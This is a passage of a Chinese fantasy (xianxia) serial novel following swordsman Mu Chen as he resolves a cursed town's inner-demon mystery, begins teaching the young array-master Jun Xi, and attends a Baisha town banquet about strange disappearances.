慕沉打从一开始就是为了这镇上的人,而张洄真开出的条件也并不是不能做到。只是颜悦,似乎并不想见到对方。
但颜悦跟这人不是至交好友吗?有什么隐情?
他假装不在意地说着:“我自然是能帮你做到。不过我这人一向不喜欢麻烦,其实将源头解决了,所有问题不都迎刃而解了吗?”
“杀了你,所有人都会恢复正常。”
听到这里,张洄真愣了一下,但很快就反应过来,用犀利的眼神与他对视,带着不善的语气说:“我以为你应该知道,镇上的人回不去了。”
还没等慕沉询问,张洄真自己解释:“他们只是我的心魔。杀了我,也无法破除。何况,我本来就不曾活着。”
慕沉自然知道这厮不是活人,但——
仅仅只是……心魔?
这是个……死镇?
5. 怎奈何缘浅情深
几十年来,这些心魔竟是将整个镇运作得如此有序,叫人没看出丝毫破绽。况且还是在清诡门的山脚下。慕沉汗颜,传出去岂不是砸了招牌。
张洄真回忆中的白郸,仿佛凭空出现一般,但他也只是看到怨气最重的一幕,而颜悦尸首不齐,是张洄真最深的恐惧,而非怨恨。
颜悦是张洄真的心魔,竟是因为悲切而产生的吗?慕沉说不出话,一直以来,他的思维都被片面化了——心魔不仅仅只能因怨气产生,情之至深,所谓执念,即出心魔。
他思索一番,问:“白郸此人,你知多少?”怕对方不说出实情,他又补充一句道:“你若如实相告,便能早些见到颜悦。”
只见张洄真犹豫了一下,似乎并不想提及这个人。若不是慕沉以颜悦为筹码,或许他永远不会先开口。
“我与白郸不过数面之缘。他只是医馆中的一名伙计,至于为什么要挑拨我与颜悦之间的关系,我不知道。”突然想到了什么,张洄真眼神一暗,开口说:“他的武功在我之上。你当时也看见了。”
至于为什么一个武功高强的人会蜷缩在一个小小的医馆中,此人一定有什么意图。慕沉这时又想到,颜悦与那个医师一直是有往来的,那么白郸定会与之有所交集。
……别告诉阿洄,我在此处……
颜悦当时对他说的最后一句话。但当时的慕沉只是一头雾水,而现在,综合颜悦当时的神情——仿佛早就知道自己下场一般,近乎平淡的眼神——颜悦与白郸有着什么交易,或者他单方面被威胁了。
“我需要你重新开启那个幻阵。”慕沉冷静地说着,同时将镜阵收回,三十六面镜子碎了一镜,又汇聚在一起,回到他的手中。他低头看了一眼,果不其然镜面上已经有一条裂缝。
“何必麻烦此人,慕前辈,我有法子重新回到幻境中。”君谿不知何时已迎面走来,似乎所言不假,并用坚定的眼神看着他,仿佛正期待慕沉开口。
“哦?”显然对一个刚认识的人没有多大信任,但慕沉还是让他一试,倒不是他不会,只是不精通此道,运作起来会有些浪费时间罢了,“请。”
君谿得到准许,大受鼓舞般地,仿佛想在慕沉面前好好表现。
事实上,让慕沉意想不到的是,君谿确实不是口出狂言,一下子就重现幻境,更甚是无师自通,从未在他身上看见过任何精通此术的人的影子。
虽然,仅仅一个幻境也看不出什么。
“这阵法倒是稀奇。”慕沉目睹着全过程,除了符文有些奇巧外,似乎并无任何不妥。至于君谿有此本事却为何仍要拜师,他暂时按下疑问不表。
“先……先前偶然在古籍中学到的。前辈,请。”君谿解释了一下。
慕沉了然,抬脚便先一步进入幻境。
君谿紧随其后,不知踩到了什么东西,移开一看,是不属于这片草地的小棱片,被阳光照得有些刺眼。他微微一笑,并不在意。
幻境中只剩下虚空一片,和残魂一缕。
颜悦看着来的二人,轻轻笑了,“我早知你们会再来。”
“我想很抱歉,张洄真知道你在这里。但是却无法进来。”
颜悦愣了一下,又开口道:“没关系,他就算知道也无济于事。”
“那么请你说说,你与白郸都做了什么交易吧。”慕沉不再客套,看颜悦的表情就知道自己猜的可能大差不差了。
颜悦微微摇摇头,苦笑说道:“若是我现在就说,还能有谈判的筹码吗?”
像颜悦这样的人,也会有所求吗?或者说,究竟是什么,能重要到让颜悦开口?
“留他一命。”颜悦猜不透慕沉的想法,却看出慕沉不普通的身份,便直接挑明。“若你应下此事,我便知无不言。”
这个“他”,不言而喻。颜悦似乎早就知道张洄真会做出什么无法理喻的事一样。但他不知道——
“张洄真已不是活人。”一旁的君谿淡淡地说道。
颜悦平静的脸上终于出现了错愕。“怎么可能?他已经......死了?”
“倒也不是。他如今是周遭人。”君谿回答。
“周遭人不是只三个月期限吗?将整个人吞噬后便消散不见,而吞噬一个人,它们需要三个月时间。”颜悦感到疑惑,也正是问出慕沉心中所想。
“那是周遭人的‘影子’。”君谿似乎对这方面十分了解,耐心解释道:“真正的周遭人,有喜有悲有执念。”
君谿顿了顿,郑重道——
“执念不散,周遭不除。”
竟是如此。慕沉也有些意想不到。
颜悦的错愕已然掩饰不住,不再平静的脸上还蕴藏一丝怒火,只是早已时过境迁,一时竟找不到一个人来撒气。他已然认下这个事实,最终妥协似的,叹了一口气。
“我曾与白郸定下契约。当时阿洄......张洄真已病入膏肓,可他却一副无所谓的模样,我不知为何他的心如此之大。可我不能白白等他去死。白郸与医师似乎早就熟识,医师告诉我白郸有些本事,可以一信。”
“我早已心急如焚,又看到他确实医治好一些患有此症状的人,便急病乱投医,让白郸一试。”
“……他果然没让我失望,张洄真多活了一个月。那一个月,白郸做的事,我都知晓。剩下的,他告诉我……一命换一命。我答应了。”
“你就不担心,等你失了性命后食言了呢?”慕沉皱眉,似乎察觉到了什么。
“所以我与他定下契约。契约一类之事,想必这位公子并不陌生。”颜悦目光投向君谿,意有所指,似乎知道君谿的身份。
慕沉转头看向君谿,见君谿点点头,解释说:“这是我家乡的特别之处,凡立此契约便不得违背,否则死无葬身。稍后再向慕前辈仔细说明。”
慕沉了然,转而问道:“一命换一命,便是张洄真产生心魔时将你杀了吗?”
颜悦愣道:“自然不是。是我自戕,将血染上写有他姓名的符纸上。阿洄当时神志不清,才会误以为是他杀了我吧。之后的事,我便不再知道。”
颜悦竟不是张洄真意外杀死。却也合理,依照二人内心之间的信任感,已经强到任何人不能撼动了,纵使张洄真产生了怀疑的心魔。那么以张洄真的武功,不可能听不清暗巷二人的对话,定是有人故意让他只听到“该听”的部分。
不过自戕也不能将整个头砍下来吧。况且依照后来,颜悦的尸首分离,也不是他自己能做到的。
“竟然是这样!”
慕沉看向一处,这声音,不是他、君谿、颜悦三人发出的,是在场的第四人。
只见一团乌气逼近直至消散,本该被拒之境外的张洄真不知用了什么办法,竟能通过此处。
张洄真有些生气地看着颜悦,痛心疾首地说道:“我都想起来了。即便白郸的挑拨离间,自始至终,我从未怀疑过你一次。就算我产生了心魔,也未曾伤你分毫。我尚且珍视你的性命,为何你自己不珍惜呢?”
颜悦盯着许久未见之人,轻声开口:“我又何尝不是呢?你又怎知,我能眼睁睁看着你死在我面前?”
似乎是觉得理亏,张洄真脸色缓和了一点,思量了一番,对他说:“……对不起。我欺瞒了你。就算没有什么周遭人,我也活不久。”
“不治之症。”不等他人问完,张洄真自己解释。
“……听了你们那么多故事,现在,该谈谈我的事了。”慕沉面无表情地打断了他们仍未尽之言。
被迫看了场苦情戏,慕沉有些无奈。
“哦——差点忘了,还有两个不相干的人。”说着,张洄真目光一凛,剑意直逼君谿。
看来也是明白慕沉不好对付,先攻击看起来没那么强的。只见君谿挡了三招便有些费力,好在慕沉反应够快,替他拦下。
慕沉察觉对方的武功精进飞快,与之前在境外完全不是一个档次,心中的疑虑一下子清明了不少。
他冷笑一声,随即念了句剑诀,一柄玄剑凭空而出。慕沉捻了捻手中许久未使用的剑,反手挡住张洄真的强力一击,转而反守为攻,凛冽的剑意逼向张洄真,同时嘴里还说着挑衅的话:“明知非我对手,还要自讨苦吃。”
事实证明男人都是争强好胜的。张洄真听到这话,显然已被激怒,发了狠似的招招攻击他的要害。
却被慕沉一一躲开。他的剑刃划过张洄真的手臂,大腿,后背,无一幸免,最后落在脖颈处,停止了一剑划过的冲动。
“这场游戏,该结束了吧?”慕沉脸上没什么表情,语气却是冰冷的。
“将赤尾鸟放在半道,是你刻意为之,暗巷中的灵力屏障,也是你有意设下。不就是为了让我们生起疑心,‘多管闲事’吗?既然见到了你想见的人,那么你三番两次的敌意,又是受谁指使?我们于你之间,似乎并无仇恨吧?”
张洄真逐渐阴沉的脸色,似乎默认了慕沉说的话。
此时,一道道黑影破土而出。
这是打算破罐破摔了。
黑影逐渐笼罩在幻境中,弥漫着压抑的气息。一股无形的压力陡然袭来,甚至在不断加重。而那些黑影的源头是张洄真。它在吞噬着周围的一切。再这样下去,整个幻境终会坍塌。那么届时——
“颜悦也会消散。你难道不在意他吗?”慕沉问。
张洄真回头看了一眼,颜悦仍然是一副平静的模样,但眼神中透露出一丝担忧。
“颜悦……你信我吗?”张洄真犹豫地问道。
颜悦平淡一笑,似乎有些释然,反问道:“我何时不曾信你?”
“……好。”张洄真答应后,转头对慕沉冷笑说道,“我自有法子。你还是先担心你们自己吧。”黑影更浓了些。
身后的颜悦似乎欲言又止。
周遭人的影子已然有吞噬的能力,那么真正的周遭人是不是更强大?
等它吞噬完整个幻境,下一个,恐怕就是现实世界了。
慕沉默默从袖中拿出镜子。原先只是一条裂痕,如今却只剩下小小一块残缺的镜面。
对方看见他拿着那个熟悉的镜子,有恃无恐,以为他又要故技重施,便嗤笑一声。但张洄真很快就笑不出来了。
慕沉顶着逐渐加沉的压力,却恍若无阻似的,淡然施术。
一瞬间,有几道光束冲破了黑影,将源头围在中间。仔细看,就能看出那是剩下的四分五裂的镜子。这些镜子,分散在七个角落,形成一个全然不同的阵法,其中最重要的一阵,在幻境之外。
镜阵初成。
“怎么可能?你是什么时候——”张洄真不可置信地盯着他。
“呵呵。”慕沉冷笑,带着严肃的语气,沉声道,“说什么‘执念不散,周遭不除’。我看你忘了我是从哪里出来的。你想做黄雀,可我偏不是螳螂——我是能将黄雀关进笼中的局外人。”
清诡门,凡诡道,皆肃清。
他嘴上说着,手中的动作仍未停下。镜阵正与另一股力量抗衡着,等光束扩大到一定程度,张洄真就完完全全被困在阵中。届时只要销毁全部碎镜,管它是周遭人还是别的妖魔鬼怪,都会被强行消除。
那边张洄真也不坐以待毙,召来无数黑影,汇聚在一起,形成一个巨大的人影,朝他们攻去。
慕沉将君谿拉到一旁,把手中的残镜递给对方,快速交代:“我看你对阵法了解颇多,想必也知道我设下的是什么阵。再过半刻钟左右,便将我的血滴在这镜子上。”说着,便迅速划了一道口子,从袖中掏出一个小瓶子装了一些。“切记。”慕沉最后提醒一声,便转身朝那人影进行最后一战。
君谿应了一声,定定地看着手中的镜子和血液,不由得将瓶子撺得更紧一些。
这便是张洄真的“影子”吧。慕沉一剑袭去,不出所料地扑了个空。他整个人从影子中穿过,竟察觉到自己的灵力流失了一些。
他心下一沉,此时又多出一个影子,两个……接踵而来,有的甚至去破坏镜阵的剩下六阵。原来周遭人能召出无数个影子。说是影子,不如说是傀儡。
好在半刻钟后都会消失。
他尽力把影子往君谿的反方向引,好在这些魔物都不敢轻易靠近阵眼,君谿那处安然无
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恙,等到他看见光束已不再扩大,立马冲君谿喊道:“就是现在!”
只剩下这最后一步,应该出不了什么岔子。他心想。
却见——君谿静静地将残镜的锋棱处,对着手掌划了一道。原本慕沉的血,被君谿的代替了。
慕沉瞳孔骤缩,立即反应过来,往君谿奔去。
那些黑影也在那一瞬间转向君谿,不断留下一道道伤口。直到,黑影消散,一切尘埃落定。
君谿吐了口黑血,即将倒下的那一刻,被慕沉稳稳接住。
所有碎片自动汇聚成一面完整的镜子,而幻境已然承受不住巨大冲击,坍塌了。回到现实,慕沉毫不犹豫地将手中的镜子粉碎,瞬间随着风尘消散。
他静静看着怀中身负重伤的人,脸上看不出什么喜怒。
“真是疯了……”
末了,在外等了许久的何初见状,不由得被吓到,有些担忧地上前询问:“你们在里面都干什么了,他怎么伤成这个样子?”
“身上的伤还是次要,”慕沉皱了皱眉头,“先检查一下他的心脉是否受损。”
“这么严重?!”何初几乎下一秒就要歇斯底里,同时不忘用自己的灵力探查一番,“你该不会是用——”
“澄清一下,最后是被他给截胡了。”慕沉看了看怀中的少年,意有所指。
“我说难怪。这孩子傻不傻。不过好在命是留住了。”何初松了一口气,“差点就没法向他家人交代了。”
“回去吧。”慕沉也松了一口气。
等君谿清醒过来,身上的伤口处都敷上了膏药。他小心地起身,打量了一下四周,并无他人,发现自己身处一座山上。
他缓缓起身,拉开屋门,入目是一片竹林,入感是一阵清风。
竹枝摇曳,轻风吹拂。他不自觉地向外走去,不自觉地沉醉于此,不自觉地……快要碰到了……竹叶——
“倒还是个不安分的。”慕沉不知是何时出现,认真地看着君谿,“忘了你自己身上还有伤吗?”
他将君谿拉回屋中,强制输送灵力为其疗伤,尽管君谿说不需要。“说到底还是我害的你如此。”
君谿似乎没料到他会这样说,急忙摇头否认:“不是……”
“不必说这些。你告诉我,为什么要这么做?”慕沉一双眼睛仔细盯着对方。
君谿有些发怵,似乎不太习惯被人直勾勾盯着,避开了他的眼神,弱弱回答:“想要拜师……”
“拜师?”慕沉一愣,才想起对方是想拜他为师,随即沉声说,“这不是你拜师的代价。若是稍有不慎,你已经一命呜呼了,真不知道你是自作聪明还是真傻……”
“前辈不也是吗?”君谿反问道。
“什么?”慕沉一时没反应过来。
“我说,慕前辈也傻。若是我没有替您做这件事,现在躺在这的人就是您了。您明知道这个阵会反噬,却还是用这种损人不利己的办法来解决。”
“……”他一时竟不知该说什么。
“我能够叫您师父吗……”君谿小声询问。
“不能。”慕沉挑了挑眉,想也不想地回答。“且不说我本来就没这个打算,单凭这次的事,我就不会答应。”
君谿目光一下子就黯淡下来,一脸失望的模样。
“不过我能教你练剑。我看你之前与张洄真过招时,似乎并没学过这方面的东西。”
听到这话,君谿眼神又亮了起来,完全看不出刚才被拒绝时失魂落魄的模样。
慕沉突然不自在起来。他这才想起,“慕沉”就是以精湛的剑术冠绝天下,除了这个原因,好像没有别的理由拜他为师了。
“先生。”君谿看着他,轻声开口,“我现在是不是已经过了学剑术的最好年纪了?”
慕沉一愣,反应过来问:“你今年多少岁了?”
“十九。我看好多世家子弟都是从小培养的,我是不是……”君谿有些委屈道。
“十九?真是个好年纪。你可知我是什么时候才开始学剑?”
“二十六岁。”慕沉自问自答,“比你口中那些人晚了十几年。我若是愿意,五天之内你便可下山。不过你既然叫了我一句先生,倒也不想辜负了你的期待,我会用心教你的。你现下还是先把伤养好。”
君谿点点头,乖的不像话。
慕沉心下一动,对君谿说:“并非只有拜师才能学到东西,也并非学了剑术就所向披靡。人各有志,不该与世家子弟相提并论。你的阵法之道很好,比我见过的很多能人都好。等你哪天想明白了来告诉我,你为什么要学剑,为什么想拜我为师。我想知道。”
“我能问为什么吗?”
“……因为我欣赏你。”
君谿瞪大双眼,许久说不出话来。
待他休息,慕沉轻轻将门带上,与何处重新回到镇上。
此时已是一座空镇,半点无人烟的痕迹。
“……你是说,最后没有一点关于颜悦的气息吗?”
“正是如此。”慕沉严肃地说,“颜悦的残魂无影无踪,但绝不是因为幻境的坍塌。”
“罢了。你也别多想。反正如今也构不成威胁,倒不如先担心如今的若乔镇——有半点人影吗?”何初皱了皱眉头。
“这也是没办法的事。”不止想到什么,慕沉意味不明地笑了下,“不如将它归纳成清诡门地盘,就当扩张了。”
何初无语凝噎,“都什么时候了还开玩笑!我已经让弟子们封锁了消息,若是外人进入,便统一说辞——若乔镇突遭瘟疫,死的死,逃的逃,除了清诡门,什么也不留。剩下的就不是我们该管的。”
“随便。”慕沉耸了耸肩,表示不在意。
“好一个随便。”
这边事情才刚刚落幕,一个女人已经收到了镇边传来的消息。只见她快速将信件拆开,仔细阅读里面的内容。末了,眉头才稍微舒展开。
“看来若乔镇已不堪大用……”随即看向一旁待命的侍从,吩咐道:“下个月的豪杰聚集之地,务必要将慕仙师请过来。”
“遵命。”
6. 云端中闲谈试剑
“不是我说,”何初饮了一口茶,“你怎么好意思让他在外面晒太阳,你自己却坐在这悠闲的?不是说教他练剑吗?”
慕、何二人对坐窗边,品茗闲谈。
慕沉看了看窗外的少年郎,心想这不是正在学吗。少年郎肆意挥动着不久前学的招式,好似练了很久,却不管多久都不嫌累,衣摆随着清风飘摇,不论谁看了都要叹一句意气风发。
见他不答,何初接着道:“为什么不收他为徒?既然不收,又为何教他剑术?”
慕沉瞥了何初一眼,淡淡地说:“你以为人人跟你一样?我乐意教就教。”
何初气笑,反问道:“你究竟是不想,还是在等什么——”
“够了何初。就此打住。”慕沉抿了一口茶,看不出什么神色,“往事不必再提。”
何初也愣了一下,意识到自己口不择言了,立马说:“行行行,不提也罢。”
此时君谿停下了手中的剑,没犹豫一会就默默走向竹子,轻轻地抚摸着它。
“他好像很喜欢这片竹子。”何初目睹着全程,回想起君谿好像每次练完剑都会这样,有些稀奇,笑着说道。
“是吗?”慕沉看了一眼,随即说道,“我也喜欢。”
何初“啧”了一声,道:“没问你。”
末了,君谿转过身来,直直地站在原处,望向他们这里。这下慕沉正好饮完一盏茶,丝毫没有犹豫地站起身,开门走了出去。
他一边走一边随手接住一片随风飘落下来的竹叶,朝君谿扔去。霎时那竹叶宛如飞刀,带着锋利,想要割破对方的喉咙。君谿全神贯注地盯着竹叶的动静,丝毫不慌张地挡下了竹叶的攻击。
只是下一秒,脖颈处传来凉意——慕沉的木剑已经架在他脖子上。
慕沉收回木剑,认真评价道:“专心一意不假,可你刚才要面对的是两个敌人。一片竹叶便吸走了你全部的注意力,又如何抵挡更多危险?别忘了,除了竹叶,刚才的我也是你的敌人。”
他顿了顿,“永远不要忽视任何能对你生命产生威胁的事物。”
“君谿受教了。”
“啧啧啧……”不知什么时候何初也走了出来,满脸不服气的样子,调笑着说,“这位慕‘前辈’有点不厚道啊。也不看你是学了多少年了,就想让一个还没学几天的小辈接住你一招的同时还能分心注意你,怕不是故意为难嘛。”
却见君谿说道:“何叔误会了。慕前辈是在教我保命之道呢。”
慕沉听到一愣,转头就得意地对何初说:“听到没。别在这显眼了,赶紧去处理你的门派事务吧。”
何初听后便乐了,“嘿——你这小鬼,帮你说话呢,看不出你何叔我对你最好吗?”
“看不出。”慕、君二人同时说道。
“哼,不识好歹。”何初高傲地离开这冷漠的地方。
二人目送何初离开后,慕沉面带
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笑意地看着君谿,对于对方对何初的称呼有些好奇,便问道:“何初是你的叔叔吗?我怎么没听他提起过?”
君谿听后反倒笑着解释道:“我还以为先生早就知道我的来历呢。家父君秋恒。”
再一次听到这个名字,慕沉倒有些恍惚。君秋恒虽然武功只是尔尔,却有极佳的经商天赋,他的财力足以在这个以武力称道的江湖立足,定然是有自己的不凡之处。
回想起当年的清诡门还是君秋恒资助建立的。当初清诡门还没开始发展起来的时候,君秋恒就是靠山。如今君秋恒不再活跃于江湖,清诡门也成了君秋恒的靠山。交易是相互的。
“上一次见到你父亲,还是好久之前的事了。”慕沉面色有些复杂,“没想到他已经娶妻生子了……也对,倒也正常。”他转念一想,其实不正常的应该是自己。
“这么说,你应该也喊我一声叔叔。”
君谿面色复杂,犹豫开口:“……不。先生的年纪看起来比我大不了多少。”
听到这里,慕沉开怀大笑,仿佛听到了什么有趣的事。等他笑够了,才说:“你这么说,就好像何初看起来很老一样。你知道我如今几岁了吗?”
君谿刚要回答,却被慕沉打断。
他面带笑意地看着君谿,“嘘——知道就别说,不知道也别问。”
君谿忍俊不禁,轻轻地点了点头。
“继续练剑。”
“好。”
7. 忆少年赴会白沙
血......怎么这么多血......他头痛欲裂,眼睛看不清,皆是模糊一片。等入目清明,身旁是一柄带血的剑,怀中是,胸口处不断渗出血的......少年。
少年面露痛苦,嘴里呢喃着:“先生......”
“先生......先生?”
两个声音重合着,逐渐分不清哪个真哪个假。
慕沉意识逐渐回归,他从床上坐起来,揉了揉发疼的额角,看清了眼前的君谿有些担忧地看着他,还问道:“先生这是怎么了?”
“无碍,只是一时分不清梦境与现实罢了。我有做出什么奇怪的举动吗?”他希望君谿的答案是否定,但显然要失望了。
只见君谿有些面色复杂,犹豫地回答:“先生说了一堆云什么的,我不太明白。是云端上的竹子有什么特殊之处吗?”
慕沉愣了好一会。半晌才说话:“确实有它特殊的意义。不过是很久之前的事了,不提也罢。”显然慕沉没啥说的意愿,只想着快点搪塞过去,“对了,你来找我是有什么事情吗?”
君谿识时务地点了点头,不再追问,马上说明来历:“是何叔拿了一封信,让我拿给您的。”说着掏出了袖子中的信笺递给他。
慕沉接过,拆开来看,浏览了一番,大致解释道:“白沙镇的镇主邀请我前去赴宴。据说聚集了许多天下豪杰。”
君谿听后反倒皱了一下眉,疑惑不解,“白沙镇?”
“哦?”慕沉看对方神情,反倒感兴趣起来,反问道,“白沙镇有什么不妥之处吗?”
“这倒不是。只不过这是我家的落居之处。”君谿收敛了神色,试探地问道:“先生......要去吗?”
慕沉想了一会,笑着说:“原是不想去的。不过既然你也问了,倒不如顺便去拜访一下多年未见的老友。”
他接着说,“我确实没听你提起过白沙镇。不如你讲讲此行前去要注意些什么,比如有什么特殊的风土人情?”
原本以为君谿会说没什么客套一下,却没想到还真就有那么一个特别。
只见君谿又从袖中拿出一张符纸,和普通的白纸没什么两样,他说:“此名‘遗志’。凡此镇之人皆有一张,若是在这纸上写下的名字,三日之内必会死亡。”
“写下名字的人也不会活。”君谿接着道,“一命换一命。若是有什么镇中法度解决不了的,即使有天大的冤屈,也能当场有冤报冤,有仇报仇了。所以镇上的人一般不敢随意得罪人。也帮得镇主解决了很多麻烦事。”
慕沉有些意想不到,“这便是颜悦口中的‘契约’吗?难怪他当时有恃无恐,也不怕白郸背信。”转念一想,“这么说,颜悦和白郸都是白沙镇的人?”
“正是如此。”君谿随即补充到,“这也算是个人的私有物,只有自己的血才能让符纸生效。一人一张,一张一人。”
“……原来如此。”慕沉听后觉得有些稀奇,毕竟先前从未听过,但还是听出一些漏洞:“若是稍有不慎自己毁了或是被人偷去毁了怎么办?”
“这纸只有自己才能销毁。所以以防破坏,一般是放在自己平常用不到的地方。也不需要怕被偷,反正别人拿了也没什么用。不信先生试试。”说着君谿把符纸递给他。
慕沉小心地接过,仔细观察了一番。发现符纸上确实不仅仅是简单的咒术,更有一个十分复杂的禁制,似乎只有镇主才能解开。
他也没真的按照君谿说的试试,将其物归原主,感慨道:“真是世事变迁,我却成孤陋寡闻之人了。”
君谿听后笑着说:“先生说笑了。先生的武功仍然无人可匹敌。”
这话慕沉虽听着顺耳,却不当真。他先前已与世隔绝很多年,江湖中的后起之秀必然是数不胜数。
“不过是世人吹捧的虚名罢了。”慕沉无奈笑笑,“行了,不说这些了,你去收拾收拾,过两天就出发。”
“好。”
真到了那一天,慕沉与何初道了别,乘着马车前往。同行的除了君谿,还有何初执意要让跟着的小徒弟王政乐和二徒弟司马锋。何初这个看热闹不嫌事大的,差点就要自己去了,被慕沉不耐烦地拒绝了,双方才各退一步,派了何初两个弟子,美其名曰帮何初看着热闹。
马车中,何初的两个徒弟好似都有些局促,似乎是平常不太接触慕沉,况且还是长辈,给他们人一种不平易近人的感觉。
“不必拘谨。”慕沉主动开口,“不如我们猜想一下,白沙镇有什么有趣的风景,就当作度假了。”
君谿会意,马上开始介绍白沙镇。话匣子打开,几人倒是有问有答,一路上也不会显得尴尬。
慕沉一旁默默听着,全当自己是透明人。同时思考着,这个镇长究竟是以什么目的请他前来,明明何初才是清诡门明面上的执掌人。
不过管它是什么阴谋阳谋,见招拆招就是了。
马车停后,几人低调进入镇中。由于是君谿熟悉的环境,他主动提出做东,邀请慕沉一等人暂居他所。
街道繁华的不远处,牌匾刻下“君府”二字的府邸,低调而不失高雅。
君谿还没走到门口,看门的小厮一下子就认出来,其中一个惊喜地跑进主堂,还一边喊着:“夫人,夫人,少爷回来了!”
另一个小厮则兴高采烈地迎他们进府,全然不顾君谿带回来什么人。
这热情得让慕沉这种很久没出门打交道的人有些招架不住。
此时一位貌美的女子从主堂里探出头,见到熟悉的人,眉眼瞬间亮堂不少,匆忙出门想要拉着君谿说一大堆话,却见君谿后面还跟着三个人,又收敛起来,笑脸相迎。
“母亲好。”君谿对着女子问候,顺便向她介绍慕沉等人的来历。
“好好好,几位仙师好。”君夫人落落大方地笑着说,“君谿早在之前已经跟我说明情况,几位就把这里当成家一样,不用客气。”
“你们舟车劳顿,先好好休息一番。”她说着用眼神示意身旁的小厮,带领他们去府中的厢房。顺便把君谿一起支走,“你去帮你那两个师兄看有什么要收拾的。”
慕沉差点没反应过来君夫人口中的两个师兄是司马锋和王政乐,但笑不语,也打算跟着小厮逛逛君府。
却闻:“慕仙师留步。”君夫人喊道,将慕沉请到主堂坐下对谈。
他们有一搭没一搭地闲聊着,茶都添了几次,倒也渐渐熟络。
她说:“我家君谿这几月没给你们添什么麻烦吧?”
这句话倒显得慕沉是来家访的。不过显然君谿与麻烦沾不到边。慕沉回答,“君夫人多想了,贵公子十分优秀。”
对方听到后也是笑了,无不认同慕沉的话,“我想也是。不过,慕仙师说错一点。我不姓君,我姓张。”说着拿起茶杯敬了一下。
慕沉听到后愣了一秒,明白对方的言外之意,立马改口:“张
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夫人。”
他端起旁边的茶杯,回敬,“倒是慕某唐突了。”
“没事没事,”张夫人笑着摇头,目光灼灼地说道,“趁君秋恒不在,不如跟我说说他以前干过什么缺德事吧,可以吗可以吗?”
慕沉被张夫人突如其来的询问弄得有些不知所措,昔日好友的嘴脸他自然是知晓不少,可若是告诉其夫人,会不会有些背刺了?
“咳——”门口突然传来一声打断,君谿进门,神色无奈,“母亲,父亲回来了。”
慕沉不免暗自高兴,心道对方来的可真是时候。
说完后面又走近一个男子,也是面色无奈,“夫人就这么想听我出糗的事吗?逢人就问。”
“啊,你怎么又回来了?”只见张夫人颇为失望,“每次都这样,你是故意挑这种时候回来的吧!”
“哎,没意思没意思,走走走儿子,不打扰他们叙旧。咱娘俩也有好多话没说。”说着站起身,挽着君谿的胳膊就想往外走。
“母亲……”君谿似乎想说什么,但被张夫人拉着出门,声音逐渐变小。
“叫什么母亲,叫我姐姐……”
“……这不合规矩,母亲……”
“哼,你也是个老古板……”
声音渐行渐远,慕沉目送他二人离开,听着这对话颇有意思,觉得这张夫人也是个奇女子。
“……内子让你见笑了。”君秋恒目睹全程,早已经习惯了这么一出。
慕沉倒是稀奇,不禁感慨万分,“这么多年不见,没想到再见你连儿子都有了。”
“这么多年不见,你还是那么会开玩笑。”君秋恒眯了眯眼,“你如今孤家寡人一个,没资格说我。”
“咳——不说这个。”慕沉心虚地转移话题,问到:“你知道你儿子在我这干什么事了吗?”
君秋恒愣了一下,还以为君谿惹了什么祸,反应过来慕沉只是简单问问,才回答:“哦,是我让他找你去拜师的,我顺便还招呼了一下何初。这小子对其他方面的门道倒是自学成才,但那些个武功却没能自己参悟。我看他自己也好学,便想到了你。别问为什么不让何初教——那家伙自己有多少个徒弟我还不清楚,都教不过来吧。”
“倒是让你自己落得清闲。”慕沉翻了个白眼,“你自己怎么不教?”
“你以为为什么找你?我要是有你一半的武功哪还‘劳烦’你啊。”
“罢了。我真正想问的不是这事。白沙镇最近要举办什么宴会,你了解多少?”
君秋恒收起嬉皮笑脸,转而变得神色凝重起来,对他说:“不瞒你说,我也不清楚。你也看到了,我一个月前就去了邻镇,才刚刚回来。但是这一个月发生了很多事我倒略有耳闻。据说事关镇主的儿子,更具体的就不知道了。”
“这场宴会与你说的这件事有关?”慕沉皱眉,听得云里雾里的。
“说是豪杰聚集之宴,我看就是鸿门宴。江湖多势力,我不信单单一个镇主就能请到四方之外的能人异士。你且看着吧,到时你就知道所谓的‘豪杰’是什么人了。”
十分在理,不过——
“非要等到那时候?你就不能现在说?”慕沉疑惑。
“因为我是瞎猜的。”君秋恒做了一个鬼脸。
“……”慕沉无语致极,忍住了想打人的冲动,一脸无可奈何地说,“这么多年不见,你还是依然嘴欠的很。”
“过奖。”
8. 客随主便群英宴
灯影摇曳,群客且至。
慕沉拿出请帖后,走进了这场宴席。王政乐司马锋两师兄弟似乎并不想来,慕沉倒也不强求,毕竟他也不想参加。不过来都来了。
身处主座之上的,看来就是白沙镇的镇主林宸珠了。只见此人气度不凡,正与先到的客人举杯对谈,从容淡定。
还不等他入席而坐,林宸珠便注意到这边,并且走了过来,说道:“这位便是清诡门慕仙师吧。您能莅临于此是林某的荣幸。”
“镇主客气了。”
此时,林宸珠才发现他身后站着一个熟悉的人,明显愣了一下,笑着说:“早就听闻君家的小公子不久前去贵门派拜师,今日一见,看来果真是如此。”
慕沉看了看身后的君谿,但笑不语。
钟声响起,一旁的侍从悄悄对林宸珠说了句话,等侍从退下后,这才对慕沉说了句:“先失陪了,慕仙师。”然后回到主桌上宣布宴会开始了。
入座,慕沉看似漫不经心,实则是在观察宴会中每个宾客的举动。
却发现有一些若有若无的视线不经意地看着他。
君谿上前坐下,在他身旁悄悄地告诉:“先生,这里绝大多数的人都是白沙镇的势力族派,剩下的生面孔一些是擅长奇门异术、驱鬼辟邪的大能。”
哦?这不就是清诡门的主要业务吗。恐怕林宸珠是遇到了相当棘手的事情才会请这么多擅长这方面的人。
等到那些个客套话说完,宴会过半,林宸珠果然面露难色地开口:“实不相瞒,今日邀诸位大能前来,实在是有一个万不得已的事情请求。”
在场的外地人皆是面露疑惑,各有各的思量。
此时一位看起来德高望重,两鬓斑白的老者从容出声道:“林镇主以诚相待,我等自然不能袖手旁观。不妨说说具体是什么事,竟能让一镇之主愁容?”
“我便直言不讳了。近来镇中忽然出现怪异之事,闹的人心惶惶,甚至每天都有消息禀报人口失踪,毫无痕迹,实在是不知如何是好,便想请诸位前来帮忙解决一二,事成以后必有重谢。”
那些参加晚宴的白沙本地人,无一不面色难看,似乎全都知道内情。
一听到“怪异”二字,在座的有这方面经验的人都松了一口气,似乎势在必行。
“镇主不妨详细说说此‘怪异’在哪些方面呢?”其中一人开口问。
林宸珠揉了揉太阳穴,不太想提起这件事,沉声道:“除了那些失踪的人,还有一些人变得疯疯癫癫,都说是被邪物附身。如今都被我关在郊外的一个住所中。”
若是说“怪异”,那么还有可能不确定是什么棘手的事,但提到了“邪物附身”,即便是在场资历最浅的人,那颗放下一半的心已经彻底放下了。
于是一群人便想着大显身手一番,嚷嚷着:“这便请林镇主带路吧。”
